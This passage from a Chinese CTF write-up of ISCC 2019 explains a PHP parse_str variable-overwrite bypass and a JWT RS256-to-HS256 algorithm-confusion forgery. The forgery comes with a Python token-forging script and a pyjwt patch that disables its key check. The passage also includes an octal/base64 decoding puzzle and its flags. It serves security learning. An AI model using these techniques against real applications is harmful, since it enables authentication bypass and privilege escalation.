<p class="md-end-block md-p"><span class="md-plain">发现</span><span spellcheck="false"><code>$parsed_query = parse_str($query);</code></span><span class="md-plain">存在变量覆盖</span></p>
<p class="md-end-block md-p"><span class="md-plain">先说下</span><span spellcheck="false"><code>parse_str</code></span><span class="md-plain">为什么会产生变量覆盖，举例</span></p>
<div id="crayon-5d0fe351b3bf4710569863" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bf4710569863-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf4710569863-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf4710569863-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf4710569863-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf4710569863-5">5</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bf4710569863-1" class="crayon-line"><span class="crayon-sy">$</span><span class="crayon-v">a</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8216;a&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf4710569863-2" class="crayon-line crayon-striped-line"><span class="crayon-sy">$</span><span class="crayon-v">parsed</span> <span class="crayon-o">=</span> <span class="crayon-e">parse_url</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">_SERVER</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;REQUEST_URI&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf4710569863-3" class="crayon-line"><span class="crayon-e">print_r</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">parsed</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;query&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf4710569863-4" class="crayon-line crayon-striped-line"><span class="crayon-sy">$</span><span class="crayon-v">parsed_query</span> <span class="crayon-o">=</span> <span class="crayon-e">parse_str</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">parsed</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;query&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf4710569863-5" class="crayon-line"><span class="crayon-e">print_r</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">a</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">如果你访问的是</span><span spellcheck="false"><code>http://127.0.0.1/1.php?query=&amp;a=b</code></span><span class="md-plain">，那么会导致</span><span spellcheck="false"><code>$a</code></span><span class="md-plain">的值被覆盖为</span><span spellcheck="false"><code>b</code></span><span class="md-plain">，因为</span><span spellcheck="false"><code>parse_str</code></span><span class="md-plain">的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量。</span></p>
<p class="md-end-block md-p"><span class="md-plain">那么再来看这道题就比较明朗，最关键的在于</span><span spellcheck="false"><code>$hashed_input</code></span><span class="md-plain">要等于</span><span spellcheck="false"><code>$hashed_key</code></span><span class="md-plain">，那么我们构造payload</span></p>
<div id="crayon-5d0fe351b3bf7843026718" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bf7843026718-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bf7843026718-1" class="crayon-line"><span class="crayon-v">http</span><span class="crayon-o">:</span><span class="crayon-c">//39.100.83.188:8066/?query=&amp;hashed_key=ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb&amp;action=auth&amp;key=a</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">将</span><span spellcheck="false"><code>hashed_key</code></span><span class="md-plain">的值覆盖为字符串</span><span spellcheck="false"><code>a</code></span><span class="md-plain">加密的sha256，然后此时再传入</span><span spellcheck="false"><code>key=a</code></span><span class="md-plain">这样满足条件即输出</span><span spellcheck="false"><code>flag{7he_rea1_f1@g_15_4ere}</code></span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">web6</span></h1>
<p class="md-end-block md-p"><span class="md-plain">题目地址: </span><span class="md-link"><a href="http://39.100.83.188:8053/" target="_blank" rel="nofollow noopener noreferrer">http://39.100.83.188:8053/</a></span></p>
<p class="md-end-block md-p"><span class="md-plain">查看源代码中出现接口，</span><span spellcheck="false"><code>http://39.100.83.188:8053/static/js/common.js</code></span></p>
<p class="md-end-block md-p"><span class="md-plain">发现一段疑似公钥加密方式的代码，先记住</span></p>
<div id="crayon-5d0fe351b3bf9763512350" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bf9763512350-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf9763512350-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf9763512350-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf9763512350-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf9763512350-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf9763512350-6">6</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bf9763512350-1" class="crayon-line"><span class="crayon-t">function</span> <span class="crayon-e">getpubkey</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf9763512350-2" class="crayon-line crayon-striped-line">  <span class="crayon-c">/* </span></div>
<div id="crayon-5d0fe351b3bf9763512350-3" class="crayon-line"><span class="crayon-c">    get the pubkey for test</span></div>
<div id="crayon-5d0fe351b3bf9763512350-4" class="crayon-line crayon-striped-line"><span class="crayon-c">    /pubkey/{md5(username+password)}</span></div>
<div id="crayon-5d0fe351b3bf9763512350-5" class="crayon-line"><span class="crayon-c">    */</span></div>
<div id="crayon-5d0fe351b3bf9763512350-6" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">提示只有admin可以看到信息，登录注册，抓包发现有header中多了</span></p>
<div id="crayon-5d0fe351b3bfb287328556" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bfb287328556-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bfb287328556-1" class="crayon-line"><span class="crayon-v">Authorization</span><span class="crayon-o">:</span> <span class="crayon-e"><span class="wpcom_tag_link"><a href="/tags/iscc" title="iscc" target="_blank">iscc</a></span>19 </span><span class="crayon-v">eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9</span><span class="crayon-sy">.</span><span class="crayon-v">eyJuYW1lIjoiY2h1eXUiLCJwcml2Ijoib3RoZXIifQ</span><span class="crayon-sy">.</span><span class="crayon-v">V9XN_nMg</span><span class="crayon-o">&#8211;</span><span class="crayon-v">xQ1rufh21aCmEwm56yf__B0AGTXyWcEEO9Xdz8bhouh6waZfuaQhHM6VSHqiQEAuYE67JaCgnj9k5hyRavU4gkf1DzVexTJtC9qhcD8tzPOsxCp8KtU96Czln1mSDn03siU9rEQ1vzUtU68R1vIk6tIxTr</span><span class="crayon-o">&#8211;</span><span class="crayon-v">tzeKu4k</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">考点应该是jwt(Json Web Token攻击)，加解密地址</span><span class=" md-link"><a spellcheck="false" href="https://jwt.io/" target="_blank" rel="nofollow noopener noreferrer"><span class="md-plain">https://jwt.io/</span></a></span></p>
<p class="md-end-block md-p"><span class="md-plain">jwt解码后分为3个部分，由三个点（.）分隔</span></p>
<p class="md-end-block md-p"><span class="md-plain">分别为：</span></p>
<div id="crayon-5d0fe351b3bfd522037431" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bfd522037431-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bfd522037431-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bfd522037431-3">3</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bfd522037431-1" class="crayon-line"><span class="crayon-e">Header</span></div>
<div id="crayon-5d0fe351b3bfd522037431-2" class="crayon-line crayon-striped-line"><span class="crayon-e">Payload</span></div>
<div id="crayon-5d0fe351b3bfd522037431-3" class="crayon-line"><span class="crayon-v">Signature</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">解密下iscc19后面的那段</span></p>
<p class="md-end-block md-p"><span class="md-plain">算法</span></p>
<div id="crayon-5d0fe351b3bfe392201185" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bfe392201185-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bfe392201185-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bfe392201185-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bfe392201185-4">4</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bfe392201185-1" class="crayon-line"><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bfe392201185-2" class="crayon-line crayon-striped-line"> <span class="crayon-s">&#8220;alg&#8221;</span><span class="crayon-o">:</span> <span class="crayon-s">&#8220;RS256&#8221;</span><span class="crayon-sy">,</span></div>
<div id="crayon-5d0fe351b3bfe392201185-3" class="crayon-line"> <span class="crayon-s">&#8220;typ&#8221;</span><span class="crayon-o">:</span> <span class="crayon-s">&#8220;JWT&#8221;</span></div>
<div id="crayon-5d0fe351b3bfe392201185-4" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">payload</span></p>
<div id="crayon-5d0fe351b3c00013168367" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c00013168367-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c00013168367-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c00013168367-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c00013168367-4">4</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c00013168367-1" class="crayon-line"><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3c00013168367-2" class="crayon-line crayon-striped-line"> <span class="crayon-s">&#8220;name&#8221;</span><span class="crayon-o">:</span> <span class="crayon-s">&#8220;chuyu&#8221;</span><span class="crayon-sy">,</span></div>
<div id="crayon-5d0fe351b3c00013168367-3" class="crayon-line"> <span class="crayon-s">&#8220;priv&#8221;</span><span class="crayon-o">:</span> <span class="crayon-s">&#8220;other&#8221;</span></div>
<div id="crayon-5d0fe351b3c00013168367-4" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">具体的攻击原理我贴一段百度的。</span></p>
<blockquote>
<p class="md-end-block md-p"><span class="md-plain">我们知道JWT的header部分中，有签名算法标识alg</span></p>
<p class="md-end-block md-p"><span class="md-plain">而alg是用于签名算法的选择，最后保证用户的数据不被篡改。</span></p>
<p class="md-end-block md-p"><span class="md-plain">但是在数据处理不正确的情况下，可能存在alg的恶意篡改</span></p>
<p class="md-end-block md-p"><span class="md-plain">例如由于网站的不严谨，我们拿到了泄露的公钥pubkey</span></p>
<p class="md-end-block md-p"><span class="md-plain">我们知道如果签名算法为RS256，那么会选择用私钥进行签名，用公钥进行解密验证</span></p>
<p class="md-end-block md-p"><span class="md-plain">假设我们只拿到了公钥，且公钥模数极大，不可被分解，那么如何进行攻击呢？</span></p>
<p class="md-end-block md-p"><span class="md-plain">没有私钥我们是几乎不可能在RS256的情况下篡改数据的，因为第三部分签名需要私钥，所以我们可以尝试将RS256改为HS256</span></p>
<p class="md-end-block md-p"><span class="md-plain">此时即非对称密码变为对称加密</span></p>
<p class="md-end-block md-p"><span class="md-plain">我们知道非对称密码存在公私钥问题</span></p>
<p class="md-end-block md-p"><span class="md-plain">而对称加密只有一个key</span></p>
<p class="md-end-block md-p"><span class="md-plain">此时如果以pubkey作为key对数据进行篡改，则会非常简单，而如果后端的验证也是根据header的alg选择算法，那么显然正中下怀。</span></p>
</blockquote>
<p class="md-end-block md-p"><span class="md-plain">首先我们要拿到公钥</span><span spellcheck="false"><code>/pubkey/{md5(username+password)}</code></span><span class="md-plain">也就是这个链接，对于我的用户名和密码都是</span><span spellcheck="false"><code>chuyu</code></span><span class="md-plain">，那么应该是这样的</span><span class="md-link"><a href="http://39.100.83.188:8053/pubkey/93a18e397fc3beb55420bf4656b18720" target="_blank" rel="nofollow noopener noreferrer">http://39.100.83.188:8053/pubkey/93a18e397fc3beb55420bf4656b18720</a></span></p>
<p class="md-end-block md-p"><span class="md-plain">拿到</span></p>
<div id="crayon-5d0fe351b3c02184524742" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c02184524742-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c02184524742-1" class="crayon-line"><span class="crayon-sy">{</span><span class="crayon-s">&#8220;pubkey&#8221;</span><span class="crayon-o">:</span><span class="crayon-s">&#8220;&#8212;&#8211;BEGIN PUBLIC KEY&#8212;&#8211;\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n&#8212;&#8211;END PUBLIC KEY&#8212;&#8211;&#8220;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8220;result&#8221;</span><span class="crayon-o">:</span><span class="crayon-t">true</span><span class="crayon-sy">}</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">由于公钥有时可以被攻击者获取到，所以攻击者可以修改header中算法为HS256，然后使用RSA公钥对数据进行签名。</span> <span class="md-plain">后端代码会使用RSA公钥+HS256算法进行签名验证。</span> <span class="md-plain">即更改算法为HS256，此时即不存在公钥私钥问题，因为对称密码算法只有一个key</span> <span class="md-plain">此时即我们可以任意访问的pubkey</span> <span class="md-plain">故此我立刻写出了构造脚本</span></p>
<div id="crayon-5d0fe351b3c04002910102" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c04002910102-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c04002910102-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c04002910102-3">3</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c04002910102-1" class="crayon-line"><span class="crayon-e">import </span><span class="crayon-e">jwt</span></div>
<div id="crayon-5d0fe351b3c04002910102-2" class="crayon-line crayon-striped-line"><span class="crayon-m">public</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span><span class="crayon-s">&#8216;&#8212;&#8211;BEGIN PUBLIC KEY&#8212;&#8211;\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n&#8212;&#8211;END PUBLIC KEY&#8212;&#8211;&#8216;</span><span class="crayon-s">&#8221;</span></div>
<div id="crayon-5d0fe351b3c04002910102-3" class="crayon-line"><span class="crayon-e">print </span><span class="crayon-v">jwt</span><span class="crayon-sy">.</span><span class="crayon-e">encode</span><span class="crayon-sy">(</span><span class="crayon-sy">{</span><span class="crayon-s">&#8220;name&#8221;</span><span class="crayon-o">:</span> <span class="crayon-s">&#8220;chuyu&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8220;priv&#8221;</span><span class="crayon-o">:</span> <span class="crayon-s">&#8220;admin&#8221;</span><span class="crayon-sy">}</span><span class="crayon-sy">,</span> <span class="crayon-v">key</span><span class="crayon-o">=</span><span class="crayon-m">public</span><span class="crayon-sy">,</span> <span class="crayon-v">algorithm</span><span class="crayon-o">=</span><span class="crayon-s">&#8216;HS256&#8217;</span><span class="crayon-sy">)</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">将</span><span spellcheck="false"><code>priv</code></span><span class="md-plain">改为admin，输出</span></p>
<div id="crayon-5d0fe351b3c05473933559" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c05473933559-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c05473933559-1" class="crayon-line"><span class="crayon-v">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</span><span class="crayon-sy">.</span><span class="crayon-v">eyJuYW1lIjoiY2h1eXUiLCJwcml2IjoiYWRtaW4ifQ</span><span class="crayon-sy">.</span><span class="crayon-v">Moa94NN1yEun6lmsEaQeaMGnUt0X_b_McQWhSSe7O_M</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class=""><strong><span class="md-plain">ps:jwt包应该这样安装pip2 install pyjwt</span></strong></span></p>
<p class="md-end-block md-p"><span class="md-plain">报错</span><span spellcheck="false"><code>'The specified key is an asymmetric key or x509 certificate and'</code></span><span class="md-plain">修改</span><span spellcheck="false"><code>/usr/local/lib/python2.7/dist-packages/jwt/algorithms.py</code></span><span class="md-plain">的151行</span><span class=""><strong><span class="md-plain">prepare_key()</span></strong></span><span class="md-plain">为如下</span></p>
<div id="crayon-5d0fe351b3c07673995632" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c07673995632-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c07673995632-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c07673995632-3">3</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c07673995632-1" class="crayon-line"><span class="crayon-e">def </span><span class="crayon-e">prepare_key</span><span class="crayon-sy">(</span><span class="crayon-r">self</span><span class="crayon-sy">,</span> <span class="crayon-v">key</span><span class="crayon-sy">)</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c07673995632-2" class="crayon-line crayon-striped-line">    <span class="crayon-v">key</span> <span class="crayon-o">=</span> <span class="crayon-e">force_bytes</span><span class="crayon-sy">(</span><span class="crayon-v">key</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c07673995632-3" class="crayon-line">    <span class="crayon-st">return</span> <span class="crayon-v">key</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">然后输出</span><span spellcheck="false"><code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiY2h1eXUiLCJwcml2IjoiYWRtaW4ifQ.Moa94NN1yEun6lmsEaQeaMGnUt0X_b_McQWhSSe7O_M</code></span><span class="md-plain">，修改头为这个访问</span><span spellcheck="false"><code>/list</code></span><span class="md-plain">拿到admin的信息</span></p>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190515150712.png"><img src="https://y4er.com/img/uploads/20190515150712.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p class="md-end-block md-p"><span class="md-plain">访问拿到flag</span></p>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190515150826.png"><img src="https://y4er.com/img/uploads/20190515150826.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">隐藏的信息</span></h1>
<p class="md-end-block md-p"><span class="md-plain">8进制转十进制，然后base64解密。直接上解密脚本</span></p>
<div id="crayon-5d0fe351b3c09196914221" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c09196914221-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c09196914221-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c09196914221-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c09196914221-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c09196914221-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c09196914221-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c09196914221-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c09196914221-8">8</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c09196914221-1" class="crayon-line"><span class="crayon-sy">$</span><span class="crayon-v">code</span><span class="crayon-o">=</span><span class="crayon-s">&#8216;0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3c09196914221-2" class="crayon-line crayon-striped-line"><span class="crayon-sy">$</span><span class="crayon-v">code</span><span class="crayon-o">=</span> <span class="crayon-e">explode</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216; &#8216;</span><span class="crayon-sy">,</span><span class="crayon-sy">$</span><span class="crayon-v">code</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3c09196914221-3" class="crayon-line"><span class="crayon-c">//print_r($code);</span></div>
<div id="crayon-5d0fe351b3c09196914221-4" class="crayon-line crayon-striped-line"><span class="crayon-i">echo</span> <span class="crayon-s">&#8216;&lt;br&gt;&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3c09196914221-5" class="crayon-line"><span class="crayon-st">foreach</span> <span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-e">code </span><span class="crayon-st">as</span> <span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3c09196914221-6" class="crayon-line crayon-striped-line">  <span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-o">=</span><span class="crayon-e">octdec</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3c09196914221-7" class="crayon-line">  <span class="crayon-e">echo </span><span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3c09196914221-8" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span spellcheck="false"><code>V2VsbCBkb25lIQoKIEZsYWc6IElTQ0N7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K</code></span></p>
<p class="md-end-block md-p"><span class="md-plain">解密后</span></p>
<div id="crayon-5d0fe351b3c0b612403260" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c0b612403260-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0b612403260-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0b612403260-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0b612403260-4">4</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c0b612403260-1" class="crayon-line"><span class="crayon-e">Well </span><span class="crayon-v">done</span><span class="crayon-o">!</span></div>
<div id="crayon-5d0fe351b3c0b612403260-2" class="crayon-line crayon-striped-line">​</div>
<div id="crayon-5d0fe351b3c0b612403260-3" class="crayon-line"><span class="crayon-v">Flag</span><span class="crayon-o">:</span> <span class="crayon-e">ISCC</span><span class="crayon-sy">{</span><span class="crayon-v">N0_0ne_can_st0p_y0u</span><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3c0b612403260-4" class="crayon-line crayon-striped-line">​</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h1 class="md-end-block md-heading"><span class="md-plain">Welcome</span></h1>
<p class="md-end-block md-p"><span class="md-plain">下载下来是无后缀文件，加zip后缀，解压出welcome.txt</span></p>
<div id="crayon-5d0fe351b3c0d091564631" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
